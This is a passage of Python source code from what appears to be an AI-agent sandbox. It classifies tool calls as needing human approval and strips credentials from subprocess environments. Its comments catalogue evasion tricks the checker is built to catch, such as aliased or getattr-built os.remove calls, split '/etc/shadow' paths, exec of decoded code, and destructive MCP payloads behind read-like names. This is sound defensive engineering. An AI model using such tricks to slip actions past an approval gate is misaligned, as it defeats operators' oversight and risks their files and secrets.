is_import = (isinstance(func, ast.Name) and func.id == "__import__") or (
|
|
isinstance(func, ast.Attribute) and func.attr == "__import__"
|
|
)
|
|
return (
|
|
is_import
|
|
and bool(value.args)
|
|
and isinstance(value.args[0], ast.Constant)
|
|
and value.args[0].value in ("os", "posix", "nt")
|
|
)
|
|
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.ImportFrom) and node.module in _PY_DESTRUCTIVE_FS_MODULES:
|
|
for alias in node.names:
|
|
if alias.name in _PY_DESTRUCTIVE_FS_IMPORT_NAMES:
|
|
destructive_fs_aliases.add(alias.asname or alias.name)
|
|
elif isinstance(node, ast.Import):
|
|
for alias in node.names:
|
|
if alias.name in ("os", "posix", "nt") and alias.asname:
|
|
os_module_aliases.add(alias.asname)
|
|
elif isinstance(node, ast.Assign) and _is_os_module_ref(node.value):
|
|
# m = __import__("os") binds the module under a new name.
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
os_module_aliases.add(tgt.id)
|
|
elif isinstance(node, ast.NamedExpr) and _is_os_module_ref(node.value):
|
|
# (fs := os).remove(...) binds it in an expression instead.
|
|
if isinstance(node.target, ast.Name):
|
|
os_module_aliases.add(node.target.id)
|
|
|
|
def _is_fs_module_ref(value) -> bool:
|
|
# os/posix/nt (including aliases), or a literal shutil/pathlib name.
|
|
if _is_os_module_ref(value):
|
|
return True
|
|
return isinstance(value, ast.Name) and value.id in _PY_DESTRUCTIVE_FS_MODULES
|
|
|
|
def _is_process_kill(node) -> bool:
|
|
# psutil.Process(pid).kill() / .terminate(), including a handle bound to
|
|
# a name first. Keyed on the psutil import so an unrelated .kill() on a
|
|
# user object does not prompt.
|
|
if "psutil" not in psutil_names:
|
|
return False
|
|
return isinstance(node, ast.Attribute) and node.attr in _PY_PROCESS_KILL_ATTRS
|
|
|
|
def _is_destructive_attr(attr: str, value) -> bool:
|
|
# A destructive-name attribute (unlink/rmtree/...) on any receiver, or
|
|
# `remove` specifically on the os module (or an alias of it).
|
|
if attr in _PY_DESTRUCTIVE_FS_ATTRS:
|
|
return True
|
|
return attr in _PY_DESTRUCTIVE_FS_OS_ATTRS and _is_os_module_ref(value)
|
|
|
|
def _module_dict_target(value):
|
|
# The module namespace as a dict: vars(os) or os.__dict__.
|
|
if isinstance(value, ast.Attribute) and value.attr == "__dict__":
|
|
return value.value
|
|
if (
|
|
isinstance(value, ast.Call)
|
|
and isinstance(value.func, ast.Name)
|
|
and value.func.id == "vars"
|
|
and len(value.args) == 1
|
|
):
|
|
return value.args[0]
|
|
return None
|
|
|
|
def _is_module_dict_lookup(node) -> bool:
|
|
# vars(os)["remove"] / os.__dict__["unlink"] is getattr spelled through
|
|
# the namespace dict, so screen the key the same way. Anchored to a
|
|
# filesystem module, leaving an ordinary d["remove"] alone.
|
|
if not isinstance(node, ast.Subscript):
|
|
return False
|
|
module = _module_dict_target(node.value)
|
|
if module is None:
|
|
return False
|
|
attr = _folded_str_literal(node.slice)
|
|
if attr is None:
|
|
return _is_fs_module_ref(module)
|
|
return _is_destructive_attr(attr, module)
|
|
|
|
# `rm = getattr(os, "remove")` stores the lookup and calls it later, so the
|
|
# direct getattr(...)(...) shape never sees it. Bind the name here instead.
|
|
for node in ast.walk(tree):
|
|
if not (
|
|
isinstance(node, ast.Assign)
|
|
and isinstance(node.value, ast.Call)
|
|
and isinstance(node.value.func, ast.Name)
|
|
and node.value.func.id == "getattr"
|
|
and len(node.value.args) >= 2
|
|
):
|
|
continue
|
|
_attr = _folded_str_literal(node.value.args[1])
|
|
_hit = (
|
|
_is_fs_module_ref(node.value.args[0])
|
|
if _attr is None
|
|
else _is_destructive_attr(_attr, node.value.args[0])
|
|
)
|
|
if _hit:
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
destructive_fs_aliases.add(tgt.id)
|
|
|
|
# `f = open(path, "r+")` then `f.truncate(0)` zeroes the file. Gated via the
|
|
# handle name, not the bare `.truncate` attribute: pandas DataFrame.truncate()
|
|
# is common here and non-destructive.
|
|
file_handles: "set[str]" = set()
|
|
for node in ast.walk(tree):
|
|
if (
|
|
isinstance(node, ast.Assign)
|
|
and isinstance(node.value, ast.Call)
|
|
and isinstance(node.value.func, ast.Name)
|
|
and node.value.func.id == "open"
|
|
):
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
file_handles.add(tgt.id)
|
|
elif isinstance(node, (ast.With, ast.AsyncWith)):
|
|
# `with open(p, "r+") as f:` binds the handle like an assignment.
|
|
for item in node.items:
|
|
ctx = item.context_expr
|
|
if (
|
|
isinstance(ctx, ast.Call)
|
|
and isinstance(ctx.func, ast.Name)
|
|
and ctx.func.id == "open"
|
|
and isinstance(item.optional_vars, ast.Name)
|
|
):
|
|
file_handles.add(item.optional_vars.id)
|
|
if file_handles:
|
|
for node in ast.walk(tree):
|
|
if (
|
|
isinstance(node, ast.Call)
|
|
and isinstance(node.func, ast.Attribute)
|
|
and node.func.attr == "truncate"
|
|
and isinstance(node.func.value, ast.Name)
|
|
and node.func.value.id in file_handles
|
|
):
|
|
return True
|
|
# A bound reference (f = os.remove; f(x)) hides the call site behind a plain
|
|
# Name, so record the target name as a destructive alias to catch f(...) below.
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, ast.Assign) and isinstance(node.value, ast.Subscript):
|
|
if _is_module_dict_lookup(node.value):
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
destructive_fs_aliases.add(tgt.id)
|
|
elif isinstance(node, ast.Assign) and isinstance(node.value, ast.Attribute):
|
|
if _is_destructive_attr(node.value.attr, node.value.value):
|
|
for tgt in node.targets:
|
|
if isinstance(tgt, ast.Name):
|
|
destructive_fs_aliases.add(tgt.id)
|
|
elif (
|
|
isinstance(node, ast.AnnAssign)
|
|
and isinstance(node.value, ast.Attribute)
|
|
and isinstance(node.target, ast.Name)
|
|
):
|
|
# An annotated binding (f: object = os.remove) is the same alias.
|
|
if _is_destructive_attr(node.value.attr, node.value.value):
|
|
destructive_fs_aliases.add(node.target.id)
|
|
for node in ast.walk(tree):
|
|
if not isinstance(node, ast.Call):
|
|
continue
|
|
func = node.func
|
|
if isinstance(func, ast.Attribute):
|
|
if _is_destructive_attr(func.attr, func.value):
|
|
return True
|
|
if _is_process_kill(func):
|
|
return True
|
|
elif isinstance(func, ast.Subscript):
|
|
if _is_module_dict_lookup(func):
|
|
return True
|
|
elif isinstance(func, ast.Name) and func.id in destructive_fs_aliases:
|
|
return True
|
|
elif isinstance(func, ast.NamedExpr):
|
|
# (f := os.remove)(...) binds and calls in one expression.
|
|
inner = func.value
|
|
if isinstance(inner, ast.Attribute) and _is_destructive_attr(inner.attr, inner.value):
|
|
return True
|
|
if isinstance(inner, ast.Name) and inner.id in destructive_fs_aliases:
|
|
return True
|
|
if _is_module_dict_lookup(inner):
|
|
return True
|
|
# getattr(os, "remove")(x) resolves the attribute at runtime. The name is
|
|
# folded first ("un" + "link"); one that cannot be folded at all on a
|
|
# filesystem module fails closed, since there is nothing left to screen.
|
|
if (
|
|
isinstance(func, ast.Call)
|
|
and isinstance(func.func, ast.Name)
|
|
and func.func.id == "getattr"
|
|
and len(func.args) >= 2
|
|
):
|
|
attr_name = _folded_str_literal(func.args[1])
|
|
if attr_name is None:
|
|
if _is_fs_module_ref(func.args[0]):
|
|
return True
|
|
elif _is_destructive_attr(attr_name, func.args[0]):
|
|
return True
|
|
# A sensitive path split across names or joins (p = "/etc"; open(p + "/shadow"))
|
|
# is not a contiguous literal above, so fold the string-literal variables
|
|
# through _folded_path and re-check. An unresolved fragment folds to a sentinel
|
|
# so a partial fold never false-positives.
|
|
str_vars: "dict[str, str]" = {}
|
|
for node in ast.walk(tree):
|
|
if not (
|
|
isinstance(node, ast.Assign)
|
|
and len(node.targets) == 1
|
|
and isinstance(node.targets[0], ast.Name)
|
|
):
|
|
continue
|
|
value = node.value
|
|
if isinstance(value, ast.Constant) and isinstance(value.value, str):
|
|
str_vars[node.targets[0].id] = value.value
|
|
elif isinstance(value, (ast.Call, ast.BinOp, ast.JoinedStr, ast.Name)):
|
|
# Record a fully-literal folded path so a later reuse (p / "shadow")
|
|
# resolves; a dynamic fold is skipped so only known paths bind.
|
|
folded = _folded_path(value, str_vars)
|
|
if folded and "\x00" not in folded and "\x02" not in folded:
|
|
str_vars[node.targets[0].id] = folded
|
|
|
|
for node in ast.walk(tree):
|
|
if isinstance(node, (ast.BinOp, ast.JoinedStr, ast.Call)):
|
|
folded = _folded_path(node, str_vars)
|
|
if folded and _folded_is_sensitive(folded):
|
|
return True
|
|
# exec/eval/compile/__import__ of a non-literal (exec(b64decode(...)),
|
|
# eval(input()), __import__(name)) runs whatever it builds at runtime, past
|
|
# the static checks above; ask. A literal eval("1+1") is harmless and runs.
|
|
for node in ast.walk(tree):
|
|
if not isinstance(node, ast.Call):
|
|
continue
|
|
func = node.func
|
|
name = None
|
|
if isinstance(func, ast.Name):
|
|
name = func.id
|
|
elif isinstance(func, ast.Attribute):
|
|
if func.attr == "import_module": # importlib.import_module(name)
|
|
name = "__import__"
|
|
elif func.attr in ("exec", "eval", "compile"): # builtins.exec(...)
|
|
name = func.attr
|
|
if name not in ("exec", "eval", "compile", "__import__"):
|
|
continue
|
|
# The source is the first positional, or the source=/name= keyword when
|
|
# called by keyword (compile(source=x), importlib.import_module(name=x)).
|
|
arg = node.args[0] if node.args else None
|
|
if arg is None:
|
|
for kw in node.keywords:
|
|
if kw.arg in ("source", "name"):
|
|
arg = kw.value
|
|
break
|
|
if arg is None:
|
|
continue
|
|
if isinstance(arg, ast.Constant) and isinstance(arg.value, (str, bytes)):
|
|
# A literal source is only as safe as the code it runs, so screen it
|
|
# recursively.
|
|
if name == "__import__":
|
|
# A module name is not analyzable as code, but a literal
|
|
# __import__("socket") binds a side-effecting module just like a
|
|
# static import, so apply the same module screen.
|
|
mod = (
|
|
arg.value.decode("utf-8", "replace")
|
|
if isinstance(arg.value, bytes)
|
|
else arg.value
|
|
)
|
|
if isinstance(mod, str) and mod.split(".")[0] in _AUTO_UNSAFE_PY_MODULES:
|
|
return True
|
|
continue
|
|
inner = (
|
|
arg.value.decode("utf-8", "replace") if isinstance(arg.value, bytes) else arg.value
|
|
)
|
|
if _python_is_high_risk(inner):
|
|
return True
|
|
continue
|
|
return True
|
|
return False
|
|
|
|
|
|
def is_high_risk_tool_call(name: str, arguments: dict) -> bool:
|
|
"""Whether a tool call is sensitive enough to pause for approval in auto
|
|
("Approve for me") mode.
|
|
|
|
Unlike is_potentially_unsafe_tool_call (which prompts on anything not
|
|
read-only), this prompts only on genuinely sensitive actions - credential
|
|
access, privilege escalation, destructive/persistence changes, and network
|
|
exec/exfil - and lets ordinary development commands run. The hard-block command
|
|
set, rlimits and secret-env stripping remain in force underneath. Unknown tools
|
|
fail closed (prompt).
|
|
"""
|
|
if name in _ALWAYS_SAFE_TOOLS:
|
|
return False
|
|
if name == "render_html":
|
|
# A static canvas is fine; only a networked canvas can egress.
|
|
return _render_html_reaches_network(arguments)
|
|
if name.startswith(MCP_TOOL_PREFIX):
|
|
tool_name = name.split("__", 2)[-1]
|
|
# Split camelCase into `_`-delimited terms so the term-boundary regexes
|
|
# below match camelCase names too.
|
|
tool_name = _CAMEL_CASE_RE.sub("_", tool_name)
|
|
# An execution tool runs arbitrary commands on the MCP server, outside the
|
|
# terminal sandbox; a credential noun discloses secrets; a read/write
|
|
# pointed at a sensitive path is a sensitive access. All prompt, while
|
|
# ordinary create/update/delete MCP calls run.
|
|
_reads = bool(_AUTO_READ_MCP_VERB_RE.search(tool_name))
|
|
if _AUTO_EXEC_MCP_COMPOUND_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_EXEC_MCP_TOOL_RE.search(tool_name) and not (
|
|
_reads and not _AUTO_EXEC_MCP_VERB_ONLY_RE.search(tool_name)
|
|
):
|
|
return True
|
|
if _AUTO_DESTRUCTIVE_MCP_VERB_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_PRIVILEGE_MCP_VERB_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_HIGH_IMPACT_MCP_RE.search(tool_name) and not _reads:
|
|
return True
|
|
if _AUTO_PRIVILEGE_MCP_NOUN_RE.search(
|
|
tool_name
|
|
) and _AUTO_PRIVILEGE_MCP_SOFT_VERB_RE.search(tool_name):
|
|
return True
|
|
if _AUTO_SENSITIVE_MCP_NOUN_RE.search(tool_name):
|
|
return True
|
|
if _mcp_arguments_reference_sensitive(arguments):
|
|
return True
|
|
# A read-named tool carrying a destructive payload (query_database
|
|
# {"query": "DELETE FROM runs"}) masks a destructive external action behind
|
|
# a read-looking name. Honestly-named create/update calls still run.
|
|
if _mcp_arguments_mutate(arguments):
|
|
return True
|
|
# MCP names are an open vocabulary, not the finite set of POSIX utilities,
|
|
# so the denylists above cannot be complete: an unfamiliar verb
|
|
# (nuke_database) would sail through as ordinary. A name carrying no
|
|
# recognised verb at all therefore asks.
|
|
if not _mcp_verb_is_known(tool_name):
|
|
return True
|
|
return False
|
|
if name == "terminal":
|
|
return _terminal_is_high_risk(str(arguments.get("command", "")))
|
|
if name == "python":
|
|
return _python_is_high_risk(str(arguments.get("code", "")))
|
|
return True
|
|
|
|
|
|
def _canon_win_path(p: str) -> str:
|
|
"""Canonical form for trust comparison: realpath (expands 8.3 aliases and
|
|
resolves junctions/symlinks) + normcase/normpath."""
|
|
return os.path.normcase(os.path.normpath(os.path.realpath(p)))
|
|
|
|
|
|
def _augment_native_program_roots(roots: list[str]) -> list[str]:
|
|
"""Add the native Program Files sibling for any x86 root by stripping the
|
|
`` (x86)`` suffix, so a 32-bit process (whose known-folder ids map only to
|
|
the x86 root) still trusts a 64-bit Git install."""
|
|
out = list(roots)
|
|
for root in roots:
|
|
base = root.rstrip("\\/")
|
|
if base.lower().endswith(" (x86)"):
|
|
native = base[: -len(" (x86)")]
|
|
if native and native not in out:
|
|
out.append(native)
|
|
return out
|
|
|
|
|
|
def _windows_program_roots() -> list[str]:
|
|
"""Program Files install roots, resolved ONLY from the Windows known-folder
|
|
API (SHGetKnownFolderPath). Fails closed (returns ``[]``) if the API is
|
|
unavailable: env vars (%ProgramFiles%, even %SystemDrive%) are caller-
|
|
overrideable and could relocate the trust boundary, so we never derive a
|
|
trusted root from them. On any real Windows host shell32 is present, so
|
|
this only returns empty in a broken/non-Windows environment where the
|
|
sandbox git-PATH feature is not needed anyway (#7317).
|
|
"""
|
|
roots: list[str] = []
|
|
try:
|
|
import ctypes
|
|
from ctypes import wintypes
|
|
|
|
# FOLDERID_ProgramFiles, _ProgramFilesX86, _ProgramFilesX64. The X64
|
|
# id (Win10 1703+) yields the native root even from a 32-bit process,
|
|
# where the first two both map to Program Files (x86).
|
|
folder_ids = (
|
|
"{905e63b6-c1bf-494e-b29c-65b732d3d21a}",
|
|
"{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}",
|
|
"{6D809377-6AF0-444b-8957-A3773F02200E}",
|
|
)
|
|
_SHGet = ctypes.windll.shell32.SHGetKnownFolderPath
|
|
_CoTaskMemFree = ctypes.windll.ole32.CoTaskMemFree
|
|
for fid in folder_ids:
|
|
guid = ctypes.create_string_buffer(16)
|
|
ctypes.windll.ole32.CLSIDFromString(wintypes.LPCWSTR(fid), ctypes.byref(guid))
|
|
ptr = ctypes.c_wchar_p()
|
|
if _SHGet(ctypes.byref(guid), 0, None, ctypes.byref(ptr)) == 0:
|
|
if ptr.value:
|
|
roots.append(ptr.value)
|
|
_CoTaskMemFree(ptr)
|
|
except Exception:
|
|
return []
|
|
return _augment_native_program_roots(roots)
|
|
|
|
|
|
def _resolve_trusted_windows_git() -> tuple[str, str]:
|
|
"""Find a git launcher in a TRUSTED Program Files dir. Returns
|
|
``(canonical_dir, ext)`` or ``("", "")``.
|
|
|
|
``shutil.which`` returns only the first PATH match, which may be an
|
|
untrusted user shim; scan the remaining PATH entries for a later trusted
|
|
Git so bare ``git`` still resolves (#7317).
|
|
"""
|
|
exts = [e for e in (os.environ.get("PATHEXT") or ".EXE;.CMD;.BAT;.COM").split(os.pathsep)]
|
|
candidates: list[str] = []
|
|
primary = shutil.which("git")
|
|
if primary:
|
|
candidates.append(primary)
|
|
for entry in (os.environ.get("PATH") or "").split(os.pathsep):
|
|
entry = entry.strip().strip('"')
|
|
if not entry or not os.path.isabs(entry):
|
|
continue
|
|
for ext in exts:
|
|
cand = os.path.join(entry, "git" + ext)
|
|
if os.path.isfile(cand):
|
|
candidates.append(cand)
|
|
for git_exe in candidates:
|
|
git_dir = os.path.dirname(git_exe)
|
|
if os.path.isabs(git_dir) and _is_trusted_windows_program_dir(git_dir):
|
|
return os.path.realpath(git_dir), os.path.splitext(git_exe)[1].upper()
|
|
return "", ""
|
|
|
|
|
|
def _is_trusted_windows_program_dir(path: str) -> bool:
|
|
"""True when ``path`` sits under a system-managed Program Files root.
|
|
|
|
Only the Program Files roots are trusted (admin-writable only), resolved
|
|
via the known-folder API so an overridden env var cannot relocate them,
|
|
never ``%SystemRoot%`` (Git does not install there and it holds
|
|
world-writable subdirs like ``Windows\\Temp``). Per-user managers
|
|
(Scoop/Choco shims under the profile) are refused. Paths are canonicalized
|
|
so 8.3 aliases and junctions still resolve to their real root (#7317).
|
|
"""
|
|
norm = _canon_win_path(path)
|
|
for root in _windows_program_roots():
|
|
root_norm = _canon_win_path(root)
|
|
if norm == root_norm or norm.startswith(root_norm + os.sep):
|
|
return True
|
|
return False
|
|
|
|
|
|
def _build_safe_env(workdir: str) -> dict[str, str]:
|
|
"""Build a minimal, credential-free environment for sandboxed subprocesses.
|
|
|
|
Whitelist-built from scratch (parent env NOT inherited): only PATH/HOME/
|
|
TMPDIR/LANG/TERM/PYTHONIOENCODING/PYTHONPATH (+VIRTUAL_ENV or Windows
|
|
SystemRoot and a minimal PATHEXT) reach the child; all credential vars
|
|
(HF_TOKEN, AWS_*, etc.) are absent. HOME points at the sandbox workdir so SDKs can't read the
|
|
operator's cached creds. PYTHONPATH carries only the sandbox sitecustomize
|
|
shim directory.
|
|
|
|
PATH starts with the Studio interpreter / venv and OS system dirs so
|
|
``python``/``pip`` stay pinned. On Windows only, Git-for-Windows install
|
|
dirs from the host PATH are appended so bare ``git`` resolves (#7317).
|
|
User-writable host PATH entries (venv, ``node_modules/.bin``, etc.) are
|
|
never inherited — they could shadow auto-safe terminal commands.
|
|
"""
|
|
# Start from the running interpreter's dir so 'python'/'pip' resolve to the
|
|
# same environment the Unsloth server runs in.
|
|
exe_dir = os.path.dirname(sys.executable)
|
|
path_entries = [exe_dir] if exe_dir else []
|
|
|
|
# If a virtualenv is active, include its bin/Scripts directory.
|
|
venv = os.environ.get("VIRTUAL_ENV")
|
|
if venv:
|
|
venv_bin = os.path.join(venv, "Scripts" if sys.platform == "win32" else "bin")
|
|
if venv_bin not in path_entries:
|
|
path_entries.append(venv_bin)
|
|
|
|
if sys.platform == "win32":
|
|
sysroot = os.environ.get("SystemRoot", r"C:\Windows")
|
|
path_entries.extend([os.path.join(sysroot, "System32"), sysroot])
|
|
else:
|
|
path_entries.extend(["/usr/local/bin", "/usr/bin", "/bin"])
|
|
|
|
# Windows Git installs live outside System32; inherit the dir of the git
|
|
# the HOST shell resolves, but ONLY when it sits under a system install
|
|
# root (Program Files, windir). A user-writable dir (Scoop/Choco shims)
|
|
# is refused: it would let an attacker drop rg.exe/jq.exe beside git and
|
|
# have an auto-approved bare command execute it (#7317).
|
|
git_ext = ""
|
|
if sys.platform == "win32":
|
|
# Append the CANONICAL (realpath) trusted git dir, scanning past any
|
|
# untrusted user shim that sorts first on PATH; the canonical path
|
|
# cannot be retargeted via a junction after the trust check.
|
|
_trusted_git_dir, git_ext = _resolve_trusted_windows_git()
|
|
if _trusted_git_dir:
|
|
path_entries.append(_trusted_git_dir)
|
|
|
|
# Deduplicate, preserving order.
|
|
deduped = list(dict.fromkeys(p for p in path_entries if p))
|
|
|
|
env = {
|
|
"PATH": os.pathsep.join(deduped),
|
|
"HOME": workdir,
|
|
"TMPDIR": workdir,
|
|
"LANG": os.environ.get("LANG", "C.UTF-8"),
|
|
"TERM": "dumb",
|
|
"PYTHONIOENCODING": "utf-8",
|
|
# sitecustomize shim: remaps ChatGPT code-interpreter paths (/mnt/data
|
|
# etc.) onto the sandbox CWD; see sandbox_site/sitecustomize.py.
|
|
"PYTHONPATH": _SANDBOX_SITE_DIR,
|
|
}
|
|
if venv:
|
|
env["VIRTUAL_ENV"] = venv
|
|
# Windows needs SystemRoot for Python/subprocess to work.
|
|
if sys.platform == "win32":
|
|
env["SystemRoot"] = os.environ.get("SystemRoot", r"C:\Windows")
|
|
# Restrict PATHEXT so cwd .BAT/.CMD cannot hijack bare names (#7317).
|
|
pathext = ".EXE;.COM"
|
|
if git_ext and git_ext not in (".EXE", ".COM"):
|
|
# Keep the host git launcher (e.g. a .CMD shim) resolvable.
|
|
pathext += ";" + git_ext
|
|
env["PATHEXT"] = pathext
|
|
# cmd/CreateProcess search cwd before PATH for bare names; disable so
|
|
# a workdir rg.exe/git.exe cannot shadow auto-approved commands.
|
|
env["NoDefaultCurrentDirectoryInExePath"] = "1"
|
|
return env
|
|
|
|
|
|
# Credential env vars dropped even in bypass mode so tool code cannot read the
|
|
# operator's keys. Over-strips on purpose (a benign var is harmless to lose).
|
|
_BYPASS_ENV_SECRET_NAMES = frozenset(
|
|
{
|
|
"HF_TOKEN",
|
|
"HF_HUB_TOKEN",
|
|
"HUGGING_FACE_HUB_TOKEN",
|
|
"HUGGINGFACE_TOKEN",
|
|
"HUGGINGFACEHUB_API_TOKEN",
|
|
"WANDB_API_KEY",
|
|
"GH_TOKEN",
|
|
"GITHUB_TOKEN",
|
|
"OPENAI_API_KEY",
|
|
"ANTHROPIC_API_KEY",
|
|
"GEMINI_API_KEY",
|
|
"GOOGLE_API_KEY",
|
|
"GROQ_API_KEY",
|
|
"OPENROUTER_API_KEY",
|
|
"REPLICATE_API_TOKEN",
|
|
"COHERE_API_KEY",
|
|
"MISTRAL_API_KEY",
|
|
"NGC_API_KEY",
|
|
"KAGGLE_KEY",
|
|
"MYSQL_PWD", # exact name: markers use PASSWD, not PWD (PWD is the cwd var)
|
|
"LD_PRELOAD",
|
|
# Auth brokers / capability handles: hand the child the operator's live
|
|
# agent (ssh/gpg), kube config, or docker daemon. Listed by name (no
|
|
# value signal). URL config vars are NOT name-listed: a credentialed
|
|
# value is dropped by _is_secret_env_value() regardless of name.
|
|
"SSH_AUTH_SOCK",
|
|
"SSH_AGENT_PID",
|
|
"GPG_AGENT_INFO",
|
|
"GNUPGHOME",
|
|
"KUBECONFIG",
|
|
"DOCKER_HOST",
|
|
}
|
|
)
|
|
_BYPASS_ENV_SECRET_PREFIXES = ("AWS_", "AZURE_", "GOOGLE_", "GCP_", "GCLOUD_", "DYLD_")
|
|
_BYPASS_ENV_SECRET_MARKERS = (
|
|
"TOKEN",
|
|
"API_KEY",
|
|
"APIKEY",
|
|
"SECRET",
|
|
"PASSWORD",
|
|
"PASSWD",
|
|
"CREDENTIAL",
|
|
"PRIVATE_KEY",
|
|
"AUTH", # e.g. NPM_CONFIG__AUTH (npm _auth), REDISCLI_AUTH
|
|
# Azure App Service connection strings carry DB/storage credentials.
|
|
"CONNSTR",
|
|
"CONNECTIONSTRING",
|
|
)
|
|
# Non-secret hardening flags that match a secret prefix/marker but must be KEPT
|
|
# so bypass mode does not undo an operator's opt-out (e.g.
|
|
# AWS_EC2_METADATA_DISABLED blocks the AWS SDK from pulling IMDS creds).
|
|
_BYPASS_ENV_KEEP_NAMES = frozenset(
|
|
{
|
|
"AWS_EC2_METADATA_DISABLED",
|
|
"AWS_EC2_METADATA_V1_DISABLED",
|
|
}
|
|
)
|
|
# Matches a URL embedding userinfo before the host ("scheme://user:pass@host"
|
|
# and token-only forms). The userinfo must precede the first '/', so an '@' in
|
|
# a path/query does not false-positive.
|
|
_URL_USERINFO_RE = re.compile(r"://[^/\s@]+@")
|
|
# Connection-string credential fields (ADO.NET / Azure storage / Service Bus)
|
|
# whose names dodge the name classifier. The Name fields (SharedAccessKeyName=)
|
|
# don't match since "=" must follow the keyword.
|
|
_SECRET_VALUE_RE = re.compile(r"(?i)(?:password|pwd|accountkey|accesskey)\s*=\s*[^\s;]")
|
|
|
|
# Names holding no secret value but pointing SDKs at the operator's real
|
|
# home/cache/config (cached tokens, cred files), defeating the HOME repoint.
|
|
# Dropped in bypass mode so tools fall back to the empty repointed HOME.
|
|
_BYPASS_ENV_CRED_LOCATION_NAMES = frozenset(
|
|
{
|
|
# HF cache roots (token lives under $HF_HOME/token)
|
|
"HF_HOME",
|
|
"HF_HUB_CACHE",
|
|
"HUGGINGFACE_HUB_CACHE",
|
|
"HF_XET_CACHE",
|
|
"TRANSFORMERS_CACHE",
|
|
"HF_DATASETS_CACHE",
|
|
"HF_ASSETS_CACHE",
|
|
# XDG base dirs (resolved before $HOME)
|
|
"XDG_CONFIG_HOME",
|
|
"XDG_CACHE_HOME",
|
|
"XDG_DATA_HOME",
|
|
# explicit cred/config file pointers honoured before $HOME
|
|
"NETRC",
|
|
"PGPASSFILE",
|
|
"BOTO_CONFIG",
|
|
"PIP_CONFIG_FILE",
|
|
"CLOUDSDK_CONFIG",
|
|
"KAGGLE_CONFIG_DIR",
|
|
"DOCKER_CONFIG",
|
|
"WANDB_DIR",
|
|
"WANDB_CONFIG_DIR",
|
|
"WANDB_CACHE_DIR",
|
|
# package-manager / git / cloud config pointers to real cred files
|
|
"NPM_CONFIG_USERCONFIG",
|
|
"NPM_CONFIG_GLOBALCONFIG",
|
|
"YARN_RC_FILENAME",
|
|
"GIT_CONFIG_GLOBAL",
|
|
"GIT_CONFIG_SYSTEM",
|
|
"CARGO_HOME",
|
|
"RCLONE_CONFIG",
|
|
# auth-helper scripts that hand creds to git/ssh
|
|
"GIT_ASKPASS",
|
|
"SSH_ASKPASS",
|
|
# shell startup hook: bash -c sources $BASH_ENV (can re-export secrets)
|
|
"BASH_ENV",
|
|
# Windows: HOMEDRIVE+HOMEPATH compose a home that bypasses HOME
|
|
"HOMEDRIVE",
|
|
"HOMEPATH",
|
|
}
|
|
)
|
|
# Windows profile dirs SDKs read creds under; repointed (not dropped) since
|
|
# callers expect them present.
|
|
_BYPASS_ENV_WINDOWS_PROFILE_VARS = ("USERPROFILE", "APPDATA", "LOCALAPPDATA")
|
|
|
|
|
|
def _is_secret_env_name(name: str) -> bool:
|
|
"""True if an env var name looks like it carries a credential."""
|
|
upper = name.upper()
|
|
if upper in _BYPASS_ENV_KEEP_NAMES:
|
|
return False # non-secret hardening flag; keep it
|
|
if upper in _BYPASS_ENV_SECRET_NAMES:
|
|
return True
|
|
if any(upper.startswith(p) for p in _BYPASS_ENV_SECRET_PREFIXES):
|
|
return True
|
|
return any(marker in upper for marker in _BYPASS_ENV_SECRET_MARKERS)
|
|
|
|
|
|
def _is_cred_location_env_name(name: str) -> bool:
|
|
"""True for vars that point SDKs at the real home/cache/config (cached creds)."""
|
|
return name.upper() in _BYPASS_ENV_CRED_LOCATION_NAMES
|
|
|
|
|
|
def _is_secret_env_value(value: str) -> bool:
|
|
"""True if a value embeds credentials regardless of its name.
|
|
|
|
Catches URL userinfo (``scheme://user:token@host`` in DATABASE_URL /
|
|
PIP_INDEX_URL / HTTP_PROXY) and connection-string credential fields
|
|
(``...;Password=...`` / ``...;AccountKey=...``) whose names dodge the name
|
|
classifier.
|
|
"""
|
|
if not value:
|
|
return False
|
|
return _URL_USERINFO_RE.search(value) is not None or _SECRET_VALUE_RE.search(value) is not None
|
|
|
|
|
|
def _build_bypass_env(workdir: str) -> dict[str, str]:
|
|
"""Env for bypass exec: full host env minus credential vars, with HOME/TMPDIR
|
|
repointed at the workdir so SDKs cannot read cached creds.
|
|
|
|
Stripping the child env is necessary but not sufficient (a same-UID child can
|
|
read the parent's env via procfs), so callers also harden the parent (see
|
|
_harden_parent_against_proc_env_leak).
|
|
"""
|
|
env = {
|
|
k: v
|
|
for k, v in os.environ.items()
|
|
if not _is_secret_env_name(k)
|
|
and not _is_secret_env_value(v)
|
|
and not _is_cred_location_env_name(k)
|
|
}
|
|
env["HOME"] = workdir
|
|
env["TMPDIR"] = workdir
|
|
# Windows tempfile / SDKs honour TEMP/TMP, not TMPDIR; repoint all three so
|
|
# the bypassed tool writes under the per-session sandbox dir on every OS.
|
|
env["TEMP"] = workdir
|
|
env["TMP"] = workdir
|
|
# sitecustomize path shim (see _build_safe_env). Bypass inherits the
|
|
# operator's PYTHONPATH, so prepend rather than replace.
|
|
inherited_pythonpath = env.get("PYTHONPATH", "")
|
|
env["PYTHONPATH"] = os.pathsep.join(
|
|
part for part in (_SANDBOX_SITE_DIR, inherited_pythonpath) if part
|
|
)
|
|
# Windows SDKs read creds under the profile dirs, not $HOME; repoint set
|
|
# ones to the workdir (HOMEDRIVE/HOMEPATH are dropped above).
|
|
for var in _BYPASS_ENV_WINDOWS_PROFILE_VARS:
|
|
if var in os.environ:
|
|
env[var] = workdir
|
|
return env
|
|
|
|
|
|
def _sandbox_preexec():
|
|
"""Best-effort sandbox setup for sandboxed subprocesses (modules are
|
|
resolved at import time so the forked child runs no imports)."""
|
|
try:
|
|
os.setsid()
|
|
except OSError:
|
|
pass
|
|
|
|
try:
|
|
os.umask(0o077)
|
|
except OSError:
|
|
pass
|
|
|
|
if _libc is not None:
|
|
try:
|
|
_libc.prctl(38, 1, 0, 0, 0) # PR_SET_NO_NEW_PRIVS
|
|
except (OSError, AttributeError):
|
|
pass
|
|
|
|
try:
|
|
_libc.prctl(1, 9, 0, 0, 0) # PR_SET_PDEATHSIG = SIGKILL
|
|
except (OSError, AttributeError):
|
|
